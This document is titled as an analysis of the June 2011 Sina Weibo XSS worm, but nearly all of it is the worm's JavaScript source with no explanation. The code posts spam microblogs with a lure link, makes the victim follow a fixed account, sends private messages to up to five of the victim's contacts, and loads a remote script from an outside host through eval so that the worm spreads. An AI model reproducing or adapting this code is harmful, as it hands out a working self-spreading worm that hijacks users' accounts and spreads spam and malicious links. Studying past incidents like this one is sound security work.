2011-06-28 06.28_sina_XSS 新浪微薄 XSS Worm 攻击事件始末分析

06.28_sina_XSS：

function createXHR(){
 return window.XMLHttpRequest?
 new XMLHttpRequest():
 new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
 xmlHttp = createXHR();
 xmlHttp.open("GET",url,false);
 xmlHttp.send();
 result = xmlHttp.responseText;
 id_arr = '';
 id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
 for(i=0;i<id.length;i++){
  sum = id[i].toString().split('"')[3];
  id_arr += sum + '||';
 }
 return id_arr;
}
function random_msg(){
 link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
 var msgs = [
  '郭美美事件的一些未注意到的细节：',
  '建党大业中穿帮的地方：',
  '让女人心动的100句诗歌：',
  '3D肉团团高清普通话版种子：',
  '这是传说中的神仙眷侣啊：',
  '惊爆!范冰冰艳照真流出了：',
  '杨幂被爆多次被潜规则:',
  '傻仔拿锤子去抢银行：',
  '可以监听别人手机的软件：',
  '个税起征点有望提到4000：'];
 var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
 msg = encodeURIComponent(msg);
 return msg;
}
function post(url,data,sync){
 xmlHttp = createXHR();
    xmlHttp.open("POST",url,sync);
    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
    xmlHttp.send(data);
}
function publish(){
 url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
 data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
 post(url,data,true);
}
function follow(){
 url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
 data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
 post(url,data,true);
}
function message(){
 url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
 ids = getappkey(url);
 id = ids.split('||');
 for(i=0;i<id.length - 1 & i<5;i++){
  msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
  msg = random_msg();
  msg = encodeURIComponent(msg);
  user = encodeURIComponent(encodeURIComponent(id[i]));
  data = 'content=' + msg + '&name=' + user + '&retcode=';
  post(msgurl,data,false);
 }
}
function main(){
 try{
  publish();
 }
 catch(e){}
 try{
  follow();
 }
 catch(e){}
 try{
  message();
 }
 catch(e){}
}
try{
   x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);